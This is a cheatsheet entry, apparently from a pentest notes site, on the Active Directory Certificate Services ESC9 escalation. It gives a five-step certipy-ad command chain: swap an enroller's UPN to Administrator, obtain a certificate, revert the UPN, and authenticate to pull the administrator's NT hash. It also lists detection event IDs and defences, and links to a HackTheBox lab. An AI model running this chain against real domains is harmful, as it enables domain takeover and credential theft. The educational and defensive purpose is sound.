ADCS ESC9 (No Security Extension)
Full command arsenal in the cheatsheetESC9 is one of the many Active Directory Certificate Services (ADCS) abuse paths catalogued by SpecterOps. ADCS is Windows' PKI role: it issues certificates that can be used, among other things, to authenticate to the domain via Kerberos PKINIT. When a template is misconfigured, those certificates become an escalation path.
The vulnerability. Microsoft introduced the szOID_NTDS_CA_SECURITY_EXT security extension, which embeds the requester's SID inside the certificate so the KDC can validate it unambiguously. A template marked with the CT_FLAG_NO_SECURITY_EXTENSION flag does not include that extension: in that case the KDC falls back to the old behaviour and validates the certificate by the requester's UPN, not its SID.
The abuse. If we control an account that can change the UPN of another account holding enrollment rights over the vulnerable template (for example, via GenericAll), the exploitation is:
certipy-ad find -vulnerable -username <user> -hashes :<hash> -dc-ip <ip> -stdout
certipy-ad account update -username <ctrl>@<domain> -hashes :<hash> -user <enroller> -upn Administrator -dc-ip <ip>
certipy-ad req -username <enroller>@<domain> -hashes :<hash> -ca <CA> -template <template> -dc-ip <ip>
certipy-ad account update -username <ctrl>@<domain> -hashes :<hash> -user <enroller> -upn <enroller>@<domain> -dc-ip <ip>
certipy-ad auth -pfx administrator.pfx -domain <domain> -dc-ip <ip>That is: (1) set the enroller's UPN to that of a privileged user (Administrator); (2) request the certificate, which the CA issues "in the name of" that UPN; (3) revert the UPN so the domain does not end up with two identical ones; (4) authenticate with the .pfx via PKINIT and extract the impersonated user's NT hash.
Caveat. ESC9 is not always exploitable: it depends on extra conditions (the target's mail/UPN not being enforced, the CA configuration, etc.). That is why certipy warns with "Other prerequisites may be required". It is a strong hint, not an automatic guarantee.
How to detect it. The chain touches two telemetries. On the CA, requesting the certificate leaves an Event ID 4886 (Certificate Services received a request) and a 4887 (approved and issued a certificate), with the requester's UPN already changed to Administrator: a certificate issued to a privileged UPN from an ordinary enrollment account is the signature. On the DC, changing the UPN generates a 5136 (a directory service object was modified) on the userPrincipalName attribute, and certipy reverts it within seconds, leaving two 5136 very close together on the same account: an obvious anomaly. The final PKINIT authentication appears as 4768 with a certificate. Correlating the UPN 5136 → 4887 with a privileged UPN closes the detection.
Defence. Enable the security extension on all templates (KB5014754 patch in Enforcement mode), restrict who can modify other accounts' UPN and audit the CA with certipy find -vulnerable. Related to Shadow Credentials and the ACL abuse that usually grants prior control over the enroller.
Machines where it's used
- CertifiedHackTheBox